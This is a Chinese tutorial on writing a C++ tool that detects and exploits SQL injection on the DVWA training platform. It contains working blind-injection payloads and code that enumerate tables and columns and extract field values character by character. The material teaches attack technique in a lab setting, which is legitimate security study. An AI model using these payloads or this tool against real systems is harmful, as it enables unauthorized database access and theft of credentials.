|
原文链接:网络安全编程:开发SQL注入工具
SQL注入的产生是由于程序没有对外部的输入进行过滤,从而导致被精心构造的外来数据被注入到SQL语句中被执行而产生的黑客攻击。本文针对DVWA编写一个简单的用于辅助SQL注入的工具,在编写工具的同时可以从原理和本质上来了解SQL注入的形成。除了DVWA以外,还有许许多多不同的Web安全练习平台,无论是哪种Web安全练习平台都少不了最基础的练习。
在拿到一个网站要进行注入时,需要检测确认该网站是否存在已知的SQL注入的漏洞,那么就需要有进行判定是否存在SQL注入漏洞的方式。而SQL注入的漏洞常见有字符型注入、数值型注入和搜索型注入。虽然注入被分为了3类,但是它们的检测思路是相通的,下面举例介绍一下。
在登录某个Web系统时,首先会要求输入自己的用户名和密码,然后提交给Web服务器,Web服务器接收请求后转交给Web脚本去处理请求,接着Web脚本会用得到的用户名和密码去数据库中匹配是否存在该用户名,且该用户名的密码是否正确。在数据库中进行查询的语言就叫作SQL,即结构化查询语言。对于进行用户名和密码匹配的SQL脚本大体如下所示:
- Select * from user where username='admin' and password='123456'
复制代码
在上面的SQL语句中,就是要在user表中去匹配是否存在用户名为admin和密码为123456的记录。注意,这里的admin和123456都是用引号引住的,说明这两个值是字符型。
平时在浏览网页时,可能会看到如下的连接:
- http://localhost/article.php?id=1
复制代码
在这个URL中,article.php是请求的页面,id=1是提交给article.php的参数。而这个参数有可能是数值型,也有可能是字符型,用该id在数据库中查询可能是以下两种情况。
- Select * from article where id = 1
复制代码
上面的是数值型,对于字符型是如下的查询语句:
- Select * from article where id = '1'
复制代码
最后再说一下搜索型,搜索型一般是用在搜索栏的位置上,用于输入某个关键字然后在数据库中对该关键字进行匹配,比如要搜索所有以“微信公众号:计算机与网络安全”为标题的文章,可能的查询语句如下:
- Select * from article where title like '%微信公众号:计算机与网络安全%'
复制代码
在做搜索型查询时,在输入的关键字的两边有“%”,它用于匹配任何字符,而且查询时不再使用“=”,而是使用“like”关键字。
这就是3种不同的查询方式,而在实际写SQL的时候很少有人描述字符型查询、数值型查询的,因为编写SQL的人知道查询的值是什么类型,如果是数值就直接写,如果是字符则在字符的两侧加单引号。但是对于在进行注入检测时,是哪种类型就需要靠猜测了。
接着介绍Web脚本是如何让SQL去数据库中进行查询的,以下面这个URL进行说明。
- http://localhost/article.php?id=1
复制代码
如果这里的id是字符型,那么在Web脚本语言中可能是如下代码(以PHP语言说明)。
- $id = $_GET['id'];
- $sql = "select * from article where id = '" . $id . "'";
- Mysql_query($sql);
复制代码 首先获得id,接着将id进行拼接,注意在id前后都有一个单引号,拼接好以后就和前面介绍的语句一样了。如果是数值型的话,PHP语言的代码如下:
- $id = $_GET['id'];
- $sql = "select * from article where id = " . $id;
- Mysql_query($sql);
复制代码 注意看,在拼接查询语句时是没有单引号的。
基础部分已经差不多了,那么来说说检测是否存在SQL注入的方法,仍然使用上面的URL来介绍,如何判断article.php?id=1这个URL是否存在注入呢?如果是数值型查询,那么只要在id=1后面跟一个and 1=1就可以了,URL如下:
- http://localhost/article.php?id=1 and 1=1
复制代码
如果是字符型查询,那么只要在id=1后面跟一个’ and ‘1’=’1就可以了,URL如下:
- http://localhost/article.php?id=1' and '1'='1
复制代码
为什么要加个and呢,and后面为什么是1=1呢?因为and是逻辑与关系,and前面的表达式为真,且and后面的表达式也为真时,and表达式为真。那么id=1一般都是真的,而1=1也肯定是真的,因此id=1 and 1=1也是真的,那么在数据库中仍然会把正确的数据进行返回,也就是说id=1和id=1 and 1=1返回的内容应该是一样的。字符型中的单引号是用来在进行SQL字符串拼接时使用的,大家可以自行查看字符型的查询代码前面的SQL语句。
但是只通过and 1=1是无法说明问题的,还需要另外一个and表达式来进行测试,URL如下:
- http://localhost/article.php?id=1 and 1=2
复制代码
判断完and 1=1以后,就需要判断and 1=1,因为1=2是假,因此id=1 and 1=2的and表达式肯定为假,当为假的时候则无法返回正确的内容,也就是说id=1 and 1=2是无法返回与id=1相同的结果的。
因此,在进行SQL注入检测的时候,需要根据不同的类型来构造不同的检测判断,当and 1=1返回的内容与原内容相同,且and 1=2返回的内容与原内容不同时,基本就可以判定是存在SQL注入的了。
在DVWA中对上面的原理进行演示,将DWVA的安全级别设置为“Low”,然后进入“SQL Injection”模块,在界面中输入1,并进行提交,返回的页面被称为A页面,如图1所示。
图1 输入User ID为1的输出
再输入1' and '1'='1,这里是字符型的注入,是笔记已经测试过的,DVWA返回结果如图2所示,该页面被称为B页面。
图2 输入User ID为1' and '1'='1的输出
再输入1' and '1'='2,DVWA返回结果什么都没有,这个什么都没有返回的页面是C页面。判断是否存在注入的判定条件是,A页面的内容和B页面的内容相同,而B页面的内容和A页面的内容不相同。但是从返回页面来看A页面和B页面也有少许差异,但是差异并不在查询后的返回的内容上,而是将输入的内容显示到页面上以后又导致有了差异,那么A页面和B页面不完全相同了,如何进行判定呢?既然只是部分不相同了,那么还是不影响判定的,可以匹配页面的相似度,也可以去匹配页面上的特征码。匹配相似度可能稍微麻烦,但是匹配特征码就相对简单了,只要能查询出结果,就会在页面上返回“First name”和“Surname”,那么就用页面上的“First name”来作为特征码,判定条件就变了,在A页面上有“First name”,B页面上也有“First name”,且C页面上没有“Firstname”那么就判定该页面存在SQL注入。
在“SQL Injection”模块中提交了数据以后,URL的地址如下:
- http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
复制代码
地址栏的数据是?id=1&Submit=Submit这样的,经过测试,如果地址栏没有Submit=Submit则提交后会有问题,但是它的存在不利于测试,那么修改该URL地址如下:
- http://127.0.0.1/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1
复制代码
通过这样既保留了Submit=Submit,又可以利用id=1进行注入测试了。
有了上面的思路以后,就来看一下接下来要编写的程序,如图3所示。
图3 SQL注入检测程序
在图中先将需要检测的URL地址填入,然后填入特征码,选择好注入的类型,然后单击“测试”,就会看到测试的情况。下面来看单击“测试”按钮后的代码,代码如下:
- void CSQLInjectToolsDlg::OnBnClickedButton1()
- {
- // TODO: 在此添加控件通知处理程序代码
- CString strUrl;
- GetDlgItemText(IDC_EDIT1, strUrl);
- GetDlgItemText(IDC_EDIT2, m_strSign);
- DWORD dwServiceType; // 服务类型
- CString strServer; // 服务器地址
- CString strObject; // URL 指向的对象
- INTERNET_PORT nPort; // 端口号
- AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);
- CheckInject(strServer, strObject, nPort);
- }
- 获得需要测试的注入地址,以及获得特征码,然后在CheckInject函数中进行检测,CheckInject函数代码如下:
- void CSQLInjectToolsDlg::CheckInject(CString strServer, CString strObject, INTERNET_
- PORT nPort)
- {
- CString strUrl;
- strUrl = "http://" + strServer + strObject;
- switch ( m_nSel )
- {
- case 1:
- {
- m_ScanList.InsertItem(m_ScanList.GetItemCount(), "测试字符型");
- if ( Check(strServer, strObject, pCharText[0], pCharText[1]) )
- {
- strUrl = strUrl + "[存在]";
- }
- else
- {
- strUrl = strUrl + "[不存在]";
- }
- break;
- }
- case 2:
- {
- m_ScanList.InsertItem(m_ScanList.GetItemCount(), "测试数值型");
- if ( Check(strServer, strObject, pNumText[0], pNumText[1]) )
- {
- strUrl = strUrl + "[存在]";
- }
- else
- {
- strUrl = strUrl + "[不存在]";
- }
- break;
- }
- case 3:
- {
- m_ScanList.InsertItem(m_ScanList.GetItemCount(), "测试搜索型");
- if ( Check(strServer, strObject, pSearchText[0], pSearchText[1]) )
- {
- strUrl = strUrl + "[存在]";
- }
- else
- {
- strUrl = strUrl + "[不存在]";
- }
- break;
- }
- default:
- {
- AfxMessageBox("请选择测试类型!!");
- break;
- }
- }
- m_ScanList.InsertItem(m_ScanList.GetItemCount(), strUrl);
- // closesocket(m_sock);
- }
复制代码 在代码中,switch用来判断选择的是哪种注入的测试类型,然后具体的判断实现在Check函数中,Check函数的代码如下:
- BOOL CSQLInjectToolsDlg::Check(CString strServer, CString strObject, CString str11,
- CString str12)
- {
- BOOL bRet = FALSE;
- char szSendPacket[1024] = { 0 };
- char szRecvPacket[0x2048] = { 0 };
- CString strUrl;
- m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- sockaddr_in ServerAddr = { 0 };
- ServerAddr.sin_family = AF_INET;
- ServerAddr.sin_port = htons(80);
- ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);
- connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));
- // 测试真
- strUrl = strObject + str11;
- HttpGet(szSendPacket, strUrl.GetBuffer(0), strServer.GetBuffer(0));
- send(m_sock, szSendPacket, strlen(szSendPacket), 0);
- recv(m_sock, szRecvPacket, 0x2048, 0);
- CString strPacket_11 = szRecvPacket;
- closesocket(m_sock);
- m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));
- // 测试假
- strUrl = strObject + str12;
- ZeroMemory(szSendPacket, 1024);
- ZeroMemory(szRecvPacket, 0x2048);
- HttpGet(szSendPacket, strUrl.GetBuffer(0), strServer.GetBuffer(0));
- send(m_sock, szSendPacket, strlen(szSendPacket), 0);
- recv(m_sock, szRecvPacket, 0x2048, 0);
- CString strPacket_12 = szRecvPacket;
- closesocket(m_sock);
- if ( strPacket_11.Find(m_strSign) != -1 && strPacket_12.Find(m_strSign) == -1 )
- {
- bRet = TRUE;
- }
- return bRet;
- }
复制代码 首先连接Web服务器,对服务器发送数据包,然后接收服务器返回的数据包,发送的包是对Web服务器的GET请求,而接收的数据包就是Web服务器返回的网页的内容。第一次发送的是永真的1=1,第二次发送永假的1=2,然后分别在两个包中查找特征码即可。发送的数据包的函数是HttpGet函数,该函数的定义如下:
- void CSQLInjectToolsDlg::HttpGet(char* strGetPacket, char* strUrl, char* strHost)
- {
- wsprintf(strGetPacket, "GET %s HTTP/1.1\r\n"
- "Host: %s\r\n"
- "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,
- */*;q=0.8\r\n"
- "Upgrade-Insecure-Requests: 1\r\n"
- "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML,
- like Gecko) Chrome/50.0.2661.102 Safari/537.36\r\n"
- "Referer: http://localhost/dvwa-1.9/vulnerabilities/sqli/\r\n"
- "Accept-Encoding: gzip, deflate, sdch\r\n"
- "Accept-Language: zh-CN,zh;q=0.8\r\n"
- "Cookie: security=low; pgv_pvi=8928542720; Hm_lvt_0a8b0d0d0f05cb8727db5cc8d
- 1f0dc08=1505118977; a5787_times=1; a3564_times=1; pageNo=1; pageSize=30;
- Hm_lvt_82116c626a8d504a5c0675073362ef6f=1508373269,1508719861,1508806033,
- 1508821087; PHPSESSID=jn0pc2a4eubcd400m4bh6nv1n2\r\n"
- "Connection: close\r\n\r\n", strUrl, strHost);
- }
复制代码 发送的数据包是从Burp中拦截到的数据包,修改包请求的URL和请求主机即可。最后给出代码中对3种注入检测的定义,定义如下:
- // 字符型
- char *pCharText[] =
- {
- "%27+and+%271%27=%271",
- "%27+and+%271%27=%272"
- };
- // 数值型
- char *pNumText[] =
- {
- " and 1=1",
- " and 1=2"
- };
- // 搜索型
- char *pSearchText[] =
- {
- "%25%27+and+1=1+and+%27%25%27=%27%25",
- "%25%27+and+1=2+and+%27%25%27=%27%25"
- };
复制代码
在请求的URL中,空格使用“+”代替,%27表示单引号,%25表示%。在URL中有很多字符出现以后是需要经过编码的,不过好在这里只是使用ASCII码进行了表示,大家在写的时候需要注意。
上面是关于检测的部分,下面来介绍关于利用的部分。利用的部分也类似检测部分的原理,下面介绍如何猜解数据库中的表名。判断数据库中有哪些表,这个也需要用到字典。这个字典可以自己收集,同样也可以在现有的软件中找一些字典来自己使用。
猜解数据库中的表名,同样也是用到SQL语句,还是以DVWA安全级别为“Low”的“SQL Injection”模块来演示,如图4所示。
图4 SQL注入对表名的猜解
Exists在SQL中用来检测括号中的查询语句是否返回结果集,上面的查询语句exists(select * from users)中,exists要判断select * from users是否返回了结果集,返回了就为真,没返回就为假,至于返回什么结果集并不重要。由此可以看出exists返回的是一个逻辑值,因此在判断表名是否存在时就是这么判断的。上面构造的查询语句如下:
- Select firstname, surname from 表 名 where id = '1' and exists(select * from users) and
- '1'='1'
复制代码 在exists括号中的users就是要猜解的表名,当表名存在的时候就会有结果集返回,那么exists为真,整个and表达式成立,则页面会返回与正常页面相同的页面,或者返回带有特征码的页面。猜解表单的代码如下:
- void CSQLInjectToolsDlg::OnBnClickedButton2()
- {
- // TODO: 在此添加控件通知处理程序代码
- CString strUrl;
- GetDlgItemText(IDC_EDIT1, strUrl);
- GetDlgItemText(IDC_EDIT2, m_strSign);
- DWORD dwServiceType; // 服务类型
- CString strServer; // 服务器地址
- CString strObject; // URL 指向的对象
- INTERNET_PORT nPort; // 端口号
- AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);
- int nTable = sizeof(tables) / MAXBYTE;
- m_ScanList.InsertItem(m_ScanList.GetItemCount(), "开始猜表名");
- for ( int i = 0; i < nTable; i++ )
- {
- CString strUrl_1;
- // and (select count(*) from user) > 0
- strUrl_1.Format("%s%%27+and+exists%%28select+*+from+%s%%29+and+%%271%%27=%%271",
- strObject, tables[i]);
- m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- sockaddr_in ServerAddr = { 0 };
- ServerAddr.sin_family = AF_INET;
- ServerAddr.sin_port = htons(80);
- ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);
- connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));
- char szSendPacket[1024] = { 0 };
- char szRecvPacket[0x2048] = { 0 };
- HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0));
- send(m_sock, szSendPacket, strlen(szSendPacket), 0);
- recv(m_sock, szRecvPacket, 0x2048, 0);
- CString strPacket;
- strPacket = szRecvPacket;
- CString tab = tables[i];
- if ( strPacket.Find(m_strSign) != -1 )
- {
- tab = tab + "[存在该表]";
- }
- m_ScanList.InsertItem(m_ScanList.GetItemCount(), tab);
- closesocket(m_sock);
- }
- m_ScanList.InsertItem(m_ScanList.GetItemCount(), "结束猜表名");
- }
复制代码
上面的关键在该句代码:
- strUrl_1.Format("%s%%27+and+exists%%28select+*+from+%s%%29+and+%%271%%27=%%271",
- strObject, tables[i]);
复制代码
该代码用来拼接请求的URL,其中%28和%29是分别代表了“(”和“)”,这两个字符也不能出现在URL中,因此使用ASCII码替换。然后在其中不断地用tables数组中保存的表字典来猜测,表字典的定义如下:
- // 猜表名
- char tables[][MAXBYTE] = { "admin", "manage", "users", "user", "guestbook", "note"};
复制代码 // 猜表名char tables[][MAXBYTE] = { "admin", "manage", "users", "user", "guestbook", "note"};
程序运行后的效果如图5所示。
图5 SQL注入猜解表名
猜解完表名接下来就要猜解表中的列名,猜解列名如图6所示。
图6 SQL注入猜解列名
猜解列名的原理依然类似,代码如下所示:
- char columns[][MAXBYTE] = { "id", "user", "username", "pass", "pwd", "password"};
- void CSQLInjectToolsDlg::OnBnClickedButton3()
- {
- // TODO: 在此添加控件通知处理程序代码
- CString strTable;
- CString strUrl;
- GetDlgItemText(IDC_EDIT1, strUrl);
- GetDlgItemText(IDC_EDIT2, m_strSign);
- GetDlgItemText(IDC_EDIT3, strTable); // 获取猜解表名
- DWORD dwServiceType; // 服务类型
- CString strServer; // 服务器地址
- CString strObject; // URL 指向的对象
- INTERNET_PORT nPort; // 端口号
- AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);
- int nColumns = sizeof(columns) / MAXBYTE;
- m_ScanList.InsertItem(m_ScanList.GetItemCount(), "开始猜列名");
- for ( int i = 0; i < nColumns; i++ )
- {
- CString strUrl_1;
- // and (select count(id) from user) > 0
- strUrl_1.Format("%s%%27+and+%%28select+count%%28%s%%29+from+%s%%29>0+and+
- %%271%%27=%%271", strObject, columns[i], strTable);
- m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- sockaddr_in ServerAddr = { 0 };
- ServerAddr.sin_family = AF_INET;
- ServerAddr.sin_port = htons(80);
- ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);
- connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));
- char szSendPacket[1024] = { 0 };
- char szRecvPacket[0x2048] = { 0 };
- HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0));
- send(m_sock, szSendPacket, strlen(szSendPacket), 0);
- recv(m_sock, szRecvPacket, 0x2048, 0);
- CString strPacket;
- strPacket = szRecvPacket;
- CString col = columns[i];
- if ( strPacket.Find(m_strSign) != -1 )
- {
- col = col + "[存在该列]";
- }
- m_ScanList.InsertItem(m_ScanList.GetItemCount(), col);
- closesocket(m_sock);
- }
- m_ScanList.InsertItem(m_ScanList.GetItemCount(), "结束猜列名");
- }
复制代码
猜解列名的关键语句如下所示:
- 1' and (select count(password) from users)>0 and '1'='1
复制代码
猜解列名时,不断地替换count函数括号内的字段名,当该字段存在值时会返回一个大于0的值,使得and表达式成立,于是返回带有特征码的页面。
一般情况下,猜解完列名,就该猜解列里面的值了,这里给出关键的构造SQL的语句。猜解列里的值,仍然是使用暴力破解,但是首先要知道列里的值的长度,计算长度的SQL语句如下:
- 1' and (select length(user) from users limit 0,1)=5 and '1'='1
复制代码
首先length函数是用来计算长度的函数,这里length(user)是用来计算user字段中值的长度,user列中可能不会只有一个值,而是会有多个值,但是判断时只需要取一条记录,因此取了第一条记录,使用的语句是limit 0,1,也就是从第0条记录开始取1条。取出来的记录如果为5则返回真,如果不是5则返回假。
因此,构造该语句时大体如下:
- strUrl.format("1' and (select length(字段名) from 表名 limit %s,1)=%d and '1'='1",n, len);
复制代码
其中n表示第几条记录,len表示猜解的长度,因为长度不固定因此长度使用循环变量逐个尝试即可。比如,猜解的第0条用户名是admin,那么长度就为5,有了长度之后再使用如下的语句猜解每一位的值,猜解admin的过程如下:
- // 字段值
- 1' and (select ascii(mid(user, 1, 1)) from users limit 0, 1) = 97 and '1'='1
- 1' and (select ascii(mid(user, 2, 1)) from users limit 0, 1) = 100 and '1'='1
- 1' and (select ascii(mid(user, 3, 1)) from users limit 0, 1) = 109 and '1'='1
- 1' and (select ascii(mid(user, 4, 1)) from users limit 0, 1) = 105 and '1'='1
- 1' and (select ascii(mid(user, 5, 1)) from users limit 0, 1) = 110 and '1'='1
复制代码
// 字段值1' and (select ascii(mid(user, 1, 1)) from users limit 0, 1) = 97 and '1'='11' and (select ascii(mid(user, 2, 1)) from users limit 0, 1) = 100 and '1'='11' and (select ascii(mid(user, 3, 1)) from users limit 0, 1) = 109 and '1'='11' and (select ascii(mid(user, 4, 1)) from users limit 0, 1) = 105 and '1'='11' and (select ascii(mid(user, 5, 1)) from users limit 0, 1) = 110 and '1'='1
上面的97表示a,100表示d,该处使用数字、大小写字母进行替换测试即可,当测试条件成功后,测试下一个值,这时就使用到了mid函数,mid函数是用来取值字符串的子串的,因此猜解值时需要双重循环来进行猜解。
下来完成判断列值长度的功能,如图7所示。
图7 SQL注入猜解列值长度
在图7中猜解的是users表中第0条记录的user字段(字段就是列),猜解到的长度为5。下面看代码:
- void CSQLInjectToolsDlg::OnBnClickedButton4()
- {
- // TODO: 在此添加控件通知处理程序代码
- CString strTable;
- CString strField;
- CString strUrl;
- CString strNum;
- GetDlgItemText(IDC_EDIT1, strUrl);
- GetDlgItemText(IDC_EDIT2, m_strSign);
- GetDlgItemText(IDC_EDIT3, strTable); // 获取猜解表名
- GetDlgItemText(IDC_EDIT4, strField); // 列名
- GetDlgItemText(IDC_EDIT5, strNum); // 猜解第几行
- DWORD dwServiceType; // 服务类型
- CString strServer; // 服务器地址
- CString strObject; // URL 指向的对象
- INTERNET_PORT nPort; // 端口号
- AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);
- m_ScanList.InsertItem(m_ScanList.GetItemCount(), "开始猜列值长度");
- // 求长度
- int nLen = 1;
- while ( nLen <= 64 )
- {
- CString strUrl_1;
- // and (select length(username) from user limit 1) = 5
- strUrl_1.Format("%s%%27+and+%%28select+length%%28%s%%29+from+%s+limit+%s%%2
- C1%%29=%d+and+%%271%%27=%%271", strObject, strField, strTable, strNum, nLen);
- m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- sockaddr_in ServerAddr = { 0 };
- ServerAddr.sin_family = AF_INET;
- ServerAddr.sin_port = htons(80);
- ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);
- connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));
- char szSendPacket[1024] = { 0 };
- char szRecvPacket[0x2048] = { 0 };
- HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0));
- send(m_sock, szSendPacket, strlen(szSendPacket), 0);
- recv(m_sock, szRecvPacket, 0x2048, 0);
- CString strPacket;
- strPacket = szRecvPacket;
- if ( strPacket.Find(m_strSign) != -1 )
- {
- closesocket(m_sock);
- break;
- }
- closesocket(m_sock);
- nLen ++;
- }
- CString num;
- num.Format("%d", nLen);
- m_ScanList.InsertItem(m_ScanList.GetItemCount(), num);
- m_ScanList.InsertItem(m_ScanList.GetItemCount(), "结束猜列值长度");
- }
复制代码
最后再来看一下猜解列的值,如图8所示。
图8 SQL注入字段值的猜解
在图8中,需要手动输入猜解到的表名、列名和长度,当猜解第0行记录的user列的长度后,一定是猜解第0行记录的user列的值。代码如下:
- void CSQLInjectToolsDlg::OnBnClickedButton5()
- {
- // 在此添加控件通知处理程序代码
- CString strTable;
- CString strField;
- CString strUrl;
- CString strNum;
- int nLen;
- GetDlgItemText(IDC_EDIT1, strUrl);
- GetDlgItemText(IDC_EDIT2, m_strSign);
- GetDlgItemText(IDC_EDIT3, strTable); // 获取猜解表名
- GetDlgItemText(IDC_EDIT4, strField); // 列名
- GetDlgItemText(IDC_EDIT5, strNum); // 猜解第几行
- nLen = GetDlgItemInt(IDC_EDIT6);
- DWORD dwServiceType; // 服务类型
- CString strServer; // 服务器地址
- CString strObject; // URL 指向的对象
- INTERNET_PORT nPort; // 端口号
- AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);
- m_ScanList.InsertItem(m_ScanList.GetItemCount(), "开始猜列值");
- CString strValue;
- int i = 1;
- CString username;
- // 长度用于猜解每一位
- while ( i <= nLen )
- {
- // 这里猜解只猜解小写的字母
- // 这里在实际的时候需要改成各种可能的字符
- for ( int c = 97; c < 122; c ++ )
- {
- CString strUrl_1;
- // and (select ascii(mid(username, 1, 1)) from user limit 1) = 97
- strUrl_1.Format("%s%%27+and+%%28select+ascii%%28mid%%28%s,%d,1%%29%%29+
- from+%s+limit+%s,1%%29=%d+and+%%271%%27=%%271",
- strObject, strField, i, strTable, strNum, c);
- m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- sockaddr_in ServerAddr = { 0 };
- ServerAddr.sin_family = AF_INET;
- ServerAddr.sin_port = htons(80);
- ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);
- connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));
- char szSendPacket[1024] = { 0 };
- char szRecvPacket[0x2048] = { 0 };
- HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0));
- send(m_sock, szSendPacket, strlen(szSendPacket), 0);
- recv(m_sock, szRecvPacket, 0x2048, 0);
- CString strPacket;
- strPacket = szRecvPacket;
- if ( strPacket.Find(m_strSign) != -1 )
- {
- // 拼接猜解的每一位用户名
- username.Format("%s%c", username, c);
- closesocket(m_sock);
- break;
- }
- closesocket(m_sock);
- }
- i ++;
- }
- username = username + "[猜解结果]";
- m_ScanList.InsertItem(m_ScanList.GetItemCount(), username);
- m_ScanList.InsertItem(m_ScanList.GetItemCount(), "结束猜列值");
- }
复制代码 到这里整个的关于DVWA系统中针对安全级别为“Low”的“SQL Injection”模块的测试和利用代码就完成了。从整个代码中可以看出,对于基本的掌握SQL的使用是不复杂的,没有接触过的朋友通过少量的时间即可学会。对Web安全感兴趣的朋友,可以跟着DVWA系统进行练习,因为DVWA系统已经基本涉及了Web安全领域入门所需要掌握的常见漏洞,如果大家能够在学习DVWA的过程中将PHP语言学会(DVWA就是PHP+MySQL写的),通过阅读DVWA各个安全级别的代码,不但可以掌握各种漏洞的形成,还能够学习到如何编写安全的Web代码,从而在源头上尽可能地杜绝漏洞的产生。
|
|